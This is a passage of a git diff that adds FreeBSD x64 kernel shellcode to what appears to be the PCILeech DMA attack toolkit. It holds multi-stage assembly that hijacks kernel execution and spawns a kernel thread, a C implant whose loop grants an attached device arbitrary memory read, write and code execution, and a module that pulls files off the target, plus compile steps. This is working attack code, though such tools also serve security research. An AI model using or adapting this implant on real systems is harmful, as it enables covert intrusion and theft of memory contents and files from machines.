PUSH r14 + PUSH r15 + MOV rdi, rdx + MOV rsi, r8 + MOV rdx, r9 + MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + MOV r8, [rsp+28h+4*8+08h] + MOV r9, [rsp+28h+4*8+10h] + MOV r15, rsp + MOV r14, [rsp+28h+4*8+40h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+5*8+38h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+6*8+30h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+7*8+28h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+8*8+20h] ; 20h stack shadow space + 8h (RET) + 7*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+9*8+18h] ; 20h stack shadow space + 8h (RET) + 8*8h PUSH + xxh offset + PUSH r14 + CALL rax + MOV rsp, r15 + POP r15 + POP r14 + POP rsi + POP rdi + RET +SysVCall ENDP + +__curthread PROC + MOV rax, gs:[0] + RET +__curthread ENDP + +END \ No newline at end of file diff --git a/pcileech_shellcode/fbsdx64_filepull.c b/pcileech_shellcode/fbsdx64_filepull.c new file mode 100644 index 0000000..d6516ac --- /dev/null +++ b/pcileech_shellcode/fbsdx64_filepull.c @@ -0,0 +1,152 @@ +// fbsdx64_filepull.c : kernel code to pull files from target system. +// Compatible with FreeBSD x64. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_filepull.c +// ml64 fbsdx64_common_a.asm /Felx64_filepull.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main fbsdx64_filepull.obj fbsdx64_common.obj +// shellcode64.exe -o fbsdx64_filepull.exe "PULL FILES FROM TARGET SYSTEM \nFreeBSD x64 EDITION \n===============================================================\nPull a file from the target system to the local system. \nREQUIRED OPTIONS: \n -out : file on local system to write result to. \n filename is given in normal format. \n Example: '-out c:\temp\hosts' \n -s : file on target system. \n Example: '-s /etc/hosts' \n===== PULL ATTEMPT DETAILED RESULT INFORMATION ================\nFILE NAME : %s\nRESULT CODE : 0x%08X\n===============================================================\n" +// + +#include "fbsdx64_common.h" + +#define LOOKUP 0 +#define FOLLOW 0x0040 +#define AT_FDCWD -100 +#define FREAD 0x0001 +#define FWRITE 0x0002 +#define NDF_NO_FREE_PNBUF 0x00000020 +#define NDF_ONLY_PNBUF (~NDF_NO_FREE_PNBUF) +#define IO_NODELOCKED 0x0008 + +enum uio_seg { + UIO_USERSPACE, + UIO_SYSSPACE, + UIO_NOCOPY +}; + +enum uio_rw { + UIO_READ, + UIO_WRITE +}; + +struct vattr { + QWORD _opaque1[4]; + QWORD va_size; + QWORD _opaque2[32]; +}; + +struct vop_getattr_args { + QWORD a_gen_a_desc; + QWORD a_vp; + QWORD a_vattr; + QWORD a_cred; +}; + +struct vop_unlock_args { + QWORD a_gen_a_desc; + QWORD a_vp; + QWORD a_flags; +}; + +struct nameidata { + QWORD _opaque1[12]; + QWORD vnode; + QWORD _opaque2[32]; +}; + +typedef struct tdFN2 { + QWORD NDINIT_ALL; + QWORD NDFREE; + QWORD VOP_GETATTR_APV; + QWORD VOP_UNLOCK_APV; + QWORD memcpy; + QWORD vn_close; + QWORD vn_open; + QWORD vn_rdwr; + QWORD vop_getattr_desc; + QWORD vop_unlock_desc; +} FN2, *PFN2; + +BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) { + QWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2; + NAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'I', 'N', 'I', 'T', '_', 'A', 'L', 'L', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'N', 'D', 'F', 'R', 'E', 'E', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', '_', 'A', 'P', 'V', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'V', 'O', 'P', '_', 'U', 'N', 'L', 'O', 'C', 'K', '_', 'A', 'P', 'V', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'c', 'l', 'o', 's', 'e', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'o', 'p', 'e', 'n', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'n', '_', 'r', 'd', 'w', 'r', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'd', 'e', 's', 'c', 0 }; + NAMES[i++] = (QWORD)(CHAR[]) { 'v', 'o', 'p', '_', 'u', 'n', 'l', 'o', 'c', 'k', '_', 'd', 'e', 's', 'c', 0 }; + for(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) { + pfn_qw[i] = LookupFunctionFreeBSD(pk, (CHAR*)NAMES[i]); + if(!pfn_qw[i]) { return FALSE; } + } + return TRUE; +} + +QWORD GetFileSize(PFN2 pfn2, QWORD vnode) +{ + struct vop_getattr_args a; + struct vattr vattr; + a.a_gen_a_desc = pfn2->vop_getattr_desc; + a.a_vp = vnode; + a.a_vattr = (QWORD)&vattr; + a.a_cred = 0; + if(SysVCall(pfn2->VOP_GETATTR_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a)) { + return 0; + } + return vattr.va_size; +} + +VOID VOP_UNLOCK(PFN2 pfn2, QWORD vnode, QWORD flags) +{ + struct vop_unlock_args a; + a.a_gen_a_desc = pfn2->vop_unlock_desc; + a.a_vp = vnode; + a.a_flags = flags; + SysVCall(pfn2->VOP_UNLOCK_APV, *(PQWORD)(vnode + 0x08) /* v_op is 2nd entry in vnode */, &a); +} + +VOID c_EntryPoint(PKMDDATA pk) +{ + FN2 fn2; + struct nameidata nd; + QWORD flags, fsize, error; + if(!pk->dataInStr[0]) { + pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD; + return; + } + if(!LookupFunctions2(pk, &fn2)) { + pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP; + return; + } + SysVCall(fn2.NDINIT_ALL, &nd, LOOKUP, FOLLOW, UIO_SYSSPACE, pk->dataInStr, AT_FDCWD, 0, 0, curthread); + flags = FREAD; + if(SysVCall(fn2.vn_open, &nd, &flags, 0, 0)) { + SysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF); + pk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN; + return; + } + fsize = GetFileSize(&fn2, nd.vnode); + if(fsize == 0 || fsize > pk->dataOutExtraLengthMax) { + SysVCall(fn2.NDFREE, nd, NDF_ONLY_PNBUF); + pk->dataOut[0] = STATUS_FAIL_FILE_SIZE; + return; + } + error = SysVCall(fn2.vn_rdwr, UIO_READ, nd.vnode, (pk->DMAAddrVirtual + pk->dataOutExtraOffset), fsize, 0, UIO_SYSSPACE, IO_NODELOCKED, 0, 0, 0, curthread); + if(error) { + SysVCall(fn2.NDFREE, &nd, NDF_ONLY_PNBUF); + pk->dataOut[0] = STATUS_FAIL_FILE_READWRITE; + return; + } + pk->dataOutExtraLength = fsize; + VOP_UNLOCK(&fn2, nd.vnode, 0); + SysVCall(fn2.vn_close, nd.vnode, FREAD, 0, curthread); + SysVCall(fn2.memcpy, pk->dataOutStr, pk->dataInStr, MAX_PATH); +} diff --git a/pcileech_shellcode/fbsdx64_info.txt b/pcileech_shellcode/fbsdx64_info.txt new file mode 100644 index 0000000..858a9ae --- /dev/null +++ b/pcileech_shellcode/fbsdx64_info.txt @@ -0,0 +1,28 @@ +# compile instructions for the FreeBSD x64 kernel module code +# +#================================ STAGE 1 ================================ +# +# COMPILE ASM TO EXE (SAME CODE AS FOR WINDOWS) +ml64 wx64_stage1.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main +# +# EXTRACT SHELLCODE (shellcode saved as wx64_stage1.bin, c-ify by xxd -i wx64_stage1.bin) +shellcode64.exe -o wx64_stage1.exe +# +#================================ STAGE 2 ================================ +# +# COMPILE ASM TO EXE +ml64 fbsdx64_stage2.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main +# +# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage2.bin, c-ify by xxd -i fbsdx64_stage2.bin) +shellcode64.exe -o fbsdx64_stage2.exe +# +#================================ STAGE 3 ================================ +# +# COMPILE C CODE TO OBJ FILE +cl.exe /O1 /Os /Oy /FD /MT /Zp1 /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel fbsdx64_stage3_c.c +# +# COMPILE ASM AND LINK C OBJ FILE TO EXE +ml64 fbsdx64_stage3.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main "fbsdx64_stage3_c.obj" +# +# EXTRACT SHELLCODE (shellcode saved as fbsdx64_stage3.bin, c-ify by xxd -i fbsdx64_stage3.bin) +shellcode64.exe -o fbsdx64_stage3.exe \ No newline at end of file diff --git a/pcileech_shellcode/fbsdx64_stage2.asm b/pcileech_shellcode/fbsdx64_stage2.asm new file mode 100644 index 0000000..e03f627 --- /dev/null +++ b/pcileech_shellcode/fbsdx64_stage2.asm @@ -0,0 +1,197 @@ +; fbsdx64_stage2.asm : assembly to receive execution from stage1 shellcode. +; Compatible with FreeBSD x64. +; +; (c) Ulf Frisk, 2016 +; Author: Ulf Frisk, pcileech@frizk.net +; + +.CODE + +main PROC + ; ---------------------------------------------------- + ; 1: INITIAL OP AND VARIABLE MEMORY LOCATIONS + ; ---------------------------------------------------- + JMP main_start + data_cmpxchg_flag db 00h + data_filler db 00h + data_phys_addr_alloc dd 00000000h ; 4 bytes offset (4 bytes long) + data_orig_code dq 0000000000000000h ; 8 bytes offset (8 bytes long) + data_offset_strtab dd 00000000h ; 16 bytes offset (4 bytes long) + ; ---------------------------------------------------- + ; 2: SAVE ORIGINAL PARAMETERS + ; ---------------------------------------------------- + main_start: + POP rax + SUB rax, 5 + PUSH rax + PUSH rdi + PUSH rsi + PUSH rdx + PUSH rcx + PUSH r8 + PUSH r9 + PUSH r12 + PUSH r13 + PUSH r14 + ; ---------------------------------------------------- + ; 3: RESTORE ORIGNAL (8 bytes) + ; ---------------------------------------------------- + MOV rdx, [data_orig_code] + MOV [rax], rdx + ; ---------------------------------------------------- + ; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS + ; ---------------------------------------------------- + MOV al, 00h + MOV dl, 01h + LEA rcx, data_cmpxchg_flag + LOCK CMPXCHG [rcx], dl + JNE skipcall + ; ---------------------------------------------------- + ; 5: SET UP PARAMETERS AND CALL C CODE + ; r12: tmp 1 (virt addr) + ; r13: tmp 2 (phys addr) + ; r14: addr to strtab + ; ---------------------------------------------------- + MOV eax, [data_offset_strtab] + LEA r14, main + ADD r14, rax + CALL setup + ; ---------------------------------------------------- + ; 6: RESTORE AND JMP BACK + ; ---------------------------------------------------- + skipcall: + POP r14 + POP r13 + POP r12 + POP r9 + POP r8 + POP rcx + POP rdx + POP rsi + POP rdi + RET +main ENDP + +setup PROC + ; ---------------------------------------------------- + ; 1: ALLOCATE 2 PAGES OF CONTIGUOUS MEMORY + ; ---------------------------------------------------- + LEA rdi, data_str_vm_phys_alloc_contig + CALL LookupFunctionBSD + XOR r8, r8 ; border = 0 + MOV ecx, 1000h ; alignment + MOV edx, 80000000h ; max phys addr + XOR rsi, rsi ; min phys addr = 0 + MOV edi, 2 ; 2 pages + CALL rax + MOV r13, [rax+8*6] ; vm_page_t -> phys addr + ; ---------------------------------------------------- + ; 2: VIRT ADDR = FFFFF80000000000 + PHYS ADDR + ; ---------------------------------------------------- + MOV r12, 0FFFFF80000000000h + ADD r12, r13 + ; ---------------------------------------------------- + ; 3: ZERO MEMORY AND COPY INITIAL LOOP + ; ---------------------------------------------------- + MOV rdi, r12 + CALL clear_8k + MOV rax, 048FFFFFFF1058D48h + MOV [r12+1000h], rax + MOV rax, 0F07400F88348008Bh + MOV [r12+1008h], rax + ; ---------------------------------------------------- + ; 4: START KERNEL THREAD + ; ---------------------------------------------------- + LEA rdi, data_str_kthread_start + CALL LookupFunctionBSD + PUSH 0 + MOV edi, 1000h + ADD rdi, r12 + PUSH rdi + LEA rdi, data_str_pcileech + PUSH rdi + MOV rdi, rsp + CALL rax + POP rax + POP rax + POP rax + ; ---------------------------------------------------- + ; 5: WRITE BACK PHYSICAL ADDRESS + ; ---------------------------------------------------- + MOV [r12+58h], r14 ; Addr StrTab -> KMDDATA.ReservedKMD + MOV [data_phys_addr_alloc], r13d + MOV [data_filler], 66h ; DEBUG + RET +setup ENDP + +; ---------------------------------------------------- +; FIND EXPORTED SYMBOL IN BSD KERNEL +; destroyed registers :: rsi +; rdi -> ptr to symbol str +; rax <- resulting address (zero if error) +; ---------------------------------------------------- +LookupFunctionBSD PROC + MOV rcx, r14 + SUB rcx, 8 + loop_symsearch: + SUB rcx, 18h + MOV rax, [rcx] + TEST rax, rax + JZ error + MOV esi, [rcx] + ADD rsi, r14 + CALL strcmp_simple + TEST rax, rax + JNZ loop_symsearch + MOV rax, [rcx+8] + RET + error: + XOR rax, rax + RET +LookupFunctionBSD ENDP + +; ---------------------------------------------------- +; TRIVIAL VERSION OF STRCMP +; destroyed registers :: +; rdi -> ptr to str1 +; rsi -> ptr to str2 +; rax <- 0 == success, !0 == fail +; ---------------------------------------------------- +strcmp_simple PROC + PUSH rcx + XOR rcx, rcx + DEC rcx + loop_strcmp: + INC rcx + MOV al, [rdi+rcx] + CMP al, [rsi+rcx] + JNE error + CMP al, 0 + JNE loop_strcmp + XOR rax, rax + POP rcx + RET + error: + MOV al, 1 + POP rcx + RET +strcmp_simple ENDP + +; ---------------------------------------------------- +; CLEAR 8K OF MEMORY +; destroyed registers :: rcx +; rdi -> starting address +; ---------------------------------------------------- +clear_8k PROC + XOR rax, rax + MOV ecx, 1024 + CLD + REP STOSQ [rdi] + RET +clear_8k ENDP + +data_str_vm_phys_alloc_contig db 'vm_phys_alloc_contig', 0 +data_str_kthread_start db 'kthread_start', 0 +data_str_pcileech db 'pcileech', 0 + +END diff --git a/pcileech_shellcode/fbsdx64_stage3.asm b/pcileech_shellcode/fbsdx64_stage3.asm new file mode 100644 index 0000000..c2cdf4f --- /dev/null +++ b/pcileech_shellcode/fbsdx64_stage3.asm @@ -0,0 +1,206 @@ +; fbsdx64_stage3.asm : assembly to receive execution from stage2 shellcode. +; Compatible with FreeBSD x64. +; +; (c) Ulf Frisk, 2016 +; Author: Ulf Frisk, pcileech@frizk.net +; + +EXTRN stage3_c_EntryPoint:NEAR + +.CODE + +main PROC + ; ---------------------------------------------------- + ; 1: SAME INITIAL BYTE SEQUENCE AS wx64_stage3_pre.asm + ; ---------------------------------------------------- + label_main_base: + LEA rax, label_main_base-8h + MOV rax, [rax] + CMP rax, 0 + JZ label_main_base + ; ---------------------------------------------------- + ; 2: CALL C CODE + ; ---------------------------------------------------- + LEA rcx, label_main_base - 1000h ; address of data page in parameter 1 + ENTER 20h, 0 + CALL stage3_c_EntryPoint + LEAVE + ; ---------------------------------------------------- + ; 3: RESTORE AND JMP BACK + ; ---------------------------------------------------- + RET +main ENDP + +; ---------------------------------------------------- +; TRIVIAL VERSION OF STRCMP +; destroyed registers :: +; rdi -> ptr to str1 +; rsi -> ptr to str2 +; rax <- 0 == success, !0 == fail +; ---------------------------------------------------- +strcmp_simple PROC + PUSH rcx + XOR rcx, rcx + DEC rcx + loop_strcmp: + INC rcx + MOV al, [rdi+rcx] + CMP al, [rsi+rcx] + JNE error + CMP al, 0 + JNE loop_strcmp + XOR rax, rax + POP rcx + RET + error: + MOV al, 1 + POP rcx + RET +strcmp_simple ENDP + +; ---------------------------------------------------- +; FIND EXPORTED SYMBOL IN BSD KERNEL +; destroyed registers :: rsi +; rcx -> PKMDDATA +; rdx -> rdi -> ptr to symbol/function str +; rax <- resulting address (zero if error) +; ---------------------------------------------------- +LookupFunctionBSD PROC + PUSH rdi + PUSH rsi + MOV rdi, rdx + MOV rcx, [rcx+58h] ; [PKMDDATA->ReservedKMD] + MOV rdx, rcx ; [PKMDDATA->ReservedKMD] + SUB rcx, 8 + loop_symsearch: + SUB rcx, 18h + MOV rax, [rcx] + TEST rax, rax + JZ error + MOV esi, [rcx] + ADD rsi, rdx + CALL strcmp_simple + TEST rax, rax + JNZ loop_symsearch + MOV rax, [rcx+8] + POP rsi + POP rdi + RET + error: + XOR rax, rax + POP rsi + POP rdi + RET +LookupFunctionBSD ENDP + +; ---------------------------------------------------- +; Lookup functions in the FreeBSD kernel image. +; This function is called by the c-code. +; rcx = PKMDDATA +; rdx = ptr to FNBSD struct +; rax <- TRUE(1)/FALSE(0) +; ---------------------------------------------------- +LookupFunctionsDefaultFreeBSD PROC + ; ---------------------------------------------------- + ; 0: SET UP / STORE NV-REGISTERS + ; ---------------------------------------------------- + PUSH r15 + PUSH r14 + PUSH r13 + PUSH r12 + MOV r12, rsp + MOV r15, rcx ; PKMDDATA + MOV r14, rdx ; PFNBSD + MOV r13, 7*8 ; num functions * 8 + ; ---------------------------------------------------- + ; 1: PUSH FUNCTION NAME POINTERS ON STACK + ; ---------------------------------------------------- + LEA rax, str_dump_avail + PUSH rax + LEA rax, str_kthread_exit + PUSH rax + LEA rax, str_memcpy + PUSH rax + LEA rax, str_memset + PUSH rax + LEA rax, str_pause_sbt + PUSH rax + LEA rax, str_vm_phys_alloc_contig + PUSH rax + LEA rax, str_vm_phys_free_contig + PUSH rax + ; ---------------------------------------------------- + ; 2: LOOKUP FUNCTION POINTERS BY NAME + ; ---------------------------------------------------- + lookup_loop: + SUB r13, 8 + MOV rcx, r15 ; PKMDDATA + POP rdx + CALL LookupFunctionBSD + TEST rax, rax + JZ lookup_fail + MOV [r14+r13], rax + TEST r13, r13 + JNZ lookup_loop + ; ---------------------------------------------------- + ; 3: RESTORE NV REGISTERS AND RETURN + ; ---------------------------------------------------- + MOV rax, 1 + JMP cleanup_return + lookup_fail: + XOR rax, rax + cleanup_return: + MOV rsp, r12 + POP r12 + POP r13 + POP r14 + POP r15 + RET +LookupFunctionsDefaultFreeBSD ENDP + +str_dump_avail db 'dump_avail', 0 +str_kthread_exit db 'kthread_exit', 0 +str_memcpy db 'memcpy', 0 +str_memset db 'memset', 0 +str_pause_sbt db 'pause_sbt', 0 +str_vm_phys_alloc_contig db 'vm_phys_alloc_contig', 0 +str_vm_phys_free_contig db 'vm_phys_free_contig', 0 + +; ------------------------------------------------------------------ +; Convert from the Windows X64 calling convention to the SystemV +; X64 calling convention used by Linux. A maximum of ten (10) +; parameters in addition to the function ptr can be supplied. +; QWORD SysVCall(QWORD fn, QWORD p1, QWORD p2, QWORD p3, QWORD p4, QWORD p5); +; QWORD SysVCall(QWORD fn, ...); +; ------------------------------------------------------------------ +SysVCall PROC + MOV rax, rcx + PUSH rdi + PUSH rsi + PUSH r14 + PUSH r15 + MOV rdi, rdx + MOV rsi, r8 + MOV rdx, r9 + MOV rcx, [rsp+28h+4*8+00h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + MOV r8, [rsp+28h+4*8+08h] + MOV r9, [rsp+28h+4*8+10h] + MOV r15, rsp + MOV r14, [rsp+28h+4*8+30h] ; 20h stack shadow space + 8h (RET) + 3*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+5*8+28h] ; 20h stack shadow space + 8h (RET) + 4*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+6*8+20h] ; 20h stack shadow space + 8h (RET) + 5*8h PUSH + xxh offset + PUSH r14 + MOV r14, [rsp+28h+7*8+18h] ; 20h stack shadow space + 8h (RET) + 6*8h PUSH + xxh offset + PUSH r14 + CALL rax + MOV rsp, r15 + POP r15 + POP r14 + POP rsi + POP rdi + RET +SysVCall ENDP + +END diff --git a/pcileech_shellcode/fbsdx64_stage3_c.c b/pcileech_shellcode/fbsdx64_stage3_c.c new file mode 100644 index 0000000..ac7ac26 --- /dev/null +++ b/pcileech_shellcode/fbsdx64_stage3_c.c @@ -0,0 +1,220 @@ +// fbsdx64_stage3_c.c : stage3 main shellcode. +// Compatible with FreeBSD x64. +// +// (c) Ulf Frisk, 2016 +// Author: Ulf Frisk, pcileech@frizk.net +// + +typedef void VOID, *PVOID; +typedef int BOOL, *PBOOL; +typedef unsigned char BYTE, *PBYTE; +typedef char CHAR, *PCHAR; +typedef unsigned short WORD, *PWORD; +typedef unsigned long DWORD, *PDWORD; +typedef unsigned __int64 QWORD, *PQWORD; +typedef void *HANDLE; +#define MAX_PATH 260 +#define TRUE 1 +#define FALSE 0 + +//------------------------------------------------------------------------------- +// General defines below. +//------------------------------------------------------------------------------- + +#define BSD_PHYS2VIRT_BASE 0xFFFFF80000000000ULL + +typedef struct tdvm_page_t { + QWORD _opaque[6]; + QWORD qwPA; +} *vm_page_t; + +typedef struct tdPHYSICAL_MEMORY_RANGE { + QWORD BaseAddress; + QWORD NumberOfBytes; +} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; + +typedef struct tdPHYSICAL_MEMORY_RANGE_BSD { + QWORD StartAddress; + QWORD EndAddress; +} PHYSICAL_MEMORY_RANGE_BSD, *PPHYSICAL_MEMORY_RANGE_BSD; + +typedef struct tdFNBSD { // function pointers to BSD functions and structs + QWORD dump_avail; + QWORD kthread_exit; + QWORD memcpy; + QWORD memset; + QWORD pause_sbt; + QWORD vm_phys_alloc_contig; + QWORD vm_phys_free_contig; + QWORD ReservedFutureUse[25]; +} FNBSD, *PFNBSD; + +#define KMDDATA_OPERATING_SYSTEM_FREEBSD 0x08 + +/* +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 002 +*/ +typedef struct tdKMDDATA { + QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). + QWORD DMASizeBuffer; // [0x018] size of DMA buffer. + QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. + QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] virtual address to operate on. + QWORD _size; // [0x048] size of operation / data in DMA buffer. + QWORD OperatingSystem; // [0x050] operating system type + QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD dataInExtraLength; // [0x100] length of extra in-data. + QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. + QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. + QWORD dataIn[28]; // [0x120] + QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. + QWORD dataOut[28]; // [0x220] + FNBSD fn; // [0x300] used by shellcode to store function pointers. + CHAR dataInStr[MAX_PATH]; // [0x400] string in-data + CHAR ReservedFutureUse2[252]; + CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data + CHAR ReservedFutureUse3[252]; + QWORD ReservedFutureUse4[255]; // [0x800] + QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) +} KMDDATA, *PKMDDATA; + +#define KMD_CMD_VOID 0xffff +#define KMD_CMD_COMPLETED 0 +#define KMD_CMD_READ 1 +#define KMD_CMD_WRITE 2 +#define KMD_CMD_TERMINATE 3 +#define KMD_CMD_MEM_INFO 4 +#define KMD_CMD_EXEC 5 +#define KMD_CMD_READ_VA 6 +#define KMD_CMD_WRITE_VA 7 + +//------------------------------------------------------------------------------- +// Assembly functions below. +//------------------------------------------------------------------------------- + +extern BOOL LookupFunctionsDefaultFreeBSD(PKMDDATA pk, QWORD qwAddrFNBSD); +extern QWORD SysVCall(QWORD fn, ...); + +//------------------------------------------------------------------------------- +// Kernel module functions below. +//------------------------------------------------------------------------------- + +/* +* Retrieve system memory ranges from the dump_avail memory structure. +*/ +BOOL SetMemoryRanges(PKMDDATA pk) +{ + PPHYSICAL_MEMORY_RANGE pmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrVirtual; + PPHYSICAL_MEMORY_RANGE_BSD pmrBSD = (PPHYSICAL_MEMORY_RANGE_BSD)pk->fn.dump_avail; + QWORD i = 0; + while(pmrBSD[i].StartAddress || pmrBSD[i].EndAddress) { + pmr[i].BaseAddress = pmrBSD[i].StartAddress; + pmr[i].NumberOfBytes = pmrBSD[i].EndAddress - pmrBSD[i].StartAddress; + i++; + } + pk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE); + return TRUE; +} + +#define SBT_1S (1ULL << 32) +#define SBT_1MS (SBT_1S / 1000) + +// status: +// 1: ready for command +// 2: processing +// f0000000: terminated +// f0000000+: error +// op: - see KMD_CMD defines +// result: +// 0: FALSE +// 1: TRUE +// address: +// physical base address for memory operation +// size: +// size of memory operation +VOID stage3_c_EntryPoint(PKMDDATA pk) +{ + QWORD idleCount = 0; + vm_page_t pg_phys; + // 1: set up symbols and kmd data + pk->MAGIC = 0x0ff11337711333377; + pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_FREEBSD; + if(!LookupFunctionsDefaultFreeBSD(pk, (QWORD)&pk->fn)) { + pk->_status = 0xf0000001; + return; + } + // 1: set up mem out DMA area 4MB/16MB in lower 4GB + pk->DMASizeBuffer = 0x1000000; + pg_phys = (vm_page_t)SysVCall(pk->fn.vm_phys_alloc_contig, 0x1000000 / 0x1000, 0, 0xf0000000, 0x1000, 0); + if(!pg_phys) { + pk->DMASizeBuffer = 0x00400000; + SysVCall(pk->fn.vm_phys_alloc_contig, 0x00400000 / 0x1000, 0, 0xf0000000, 0x1000, 0); + } + if(!pg_phys) { + pk->DMASizeBuffer = 0; + pk->_status = 0xf0000002; + return; + } + pk->DMAAddrPhysical = pg_phys->qwPA; + pk->DMAAddrVirtual = BSD_PHYS2VIRT_BASE | pg_phys->qwPA; + // 3: main command loop. + while(TRUE) { + pk->_status = 1; + if(KMD_CMD_COMPLETED == pk->_op) { // NOP + idleCount++; + if(idleCount > 10000000000) { + SysVCall(pk->fn.pause_sbt, "pcileech", SBT_1MS, 0, 0); // 1ms + } + continue; + } + pk->_status = 2; + if(KMD_CMD_TERMINATE == pk->_op) { // EXIT + pk->_status = 0xf0000000; + SysVCall(pk->fn.vm_phys_free_contig, pg_phys, pk->DMASizeBuffer / 0x1000); + pk->DMAAddrPhysical = 0; + pk->DMAAddrVirtual = 0; + pk->_result = TRUE; + pk->MAGIC = 0; + pk->_op = KMD_CMD_COMPLETED; + SysVCall(pk->fn.kthread_exit); + return; + } + if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map) + pk->_result = SetMemoryRanges(pk); + } + if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer + ((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut); + pk->_result = TRUE; + } + if(KMD_CMD_READ == pk->_op) { // READ + SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, BSD_PHYS2VIRT_BASE | pk->_address, pk->_size); + pk->_result = TRUE; + } + if(KMD_CMD_WRITE == pk->_op) { // WRITE + SysVCall(pk->fn.memcpy, BSD_PHYS2VIRT_BASE | pk->_address, pk->DMAAddrVirtual, pk->_size); + pk->_result = TRUE; + } + if(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address + SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size); + pk->_result = TRUE; + } + if(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address + SysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size); + pk->_result = TRUE; + } + pk->_op = KMD_CMD_COMPLETED; + idleCount = 0; + } +} \ No newline at end of file diff --git a/pcileech_shellcode/lx64_common.h b/pcileech_shellcode/lx64_common.h index 6ef0b95..194a17b 100644 --- a/pcileech_shellcode/lx64_common.h +++ b/pcileech_shellcode/lx64_common.h @@ -7,6 +7,8 @@ #ifndef __LX64_COMMON_H__ #define __LX64_COMMON_H__ +#include "statuscodes.h" + typedef void VOID, *PVOID; typedef int BOOL, *PBOOL; typedef unsigned char BYTE, *PBYTE; @@ -65,10 +67,4 @@ typedef struct tdKMDDATA { QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) } KMDDATA, *PKMDDATA; -#define STATUS_FAIL_FUNCTION_LOOKUP 0xf0000001 -#define STATUS_FAIL_FILE_CANNOT_OPEN 0xf0000002 -#define STATUS_FAIL_FILE_SIZE 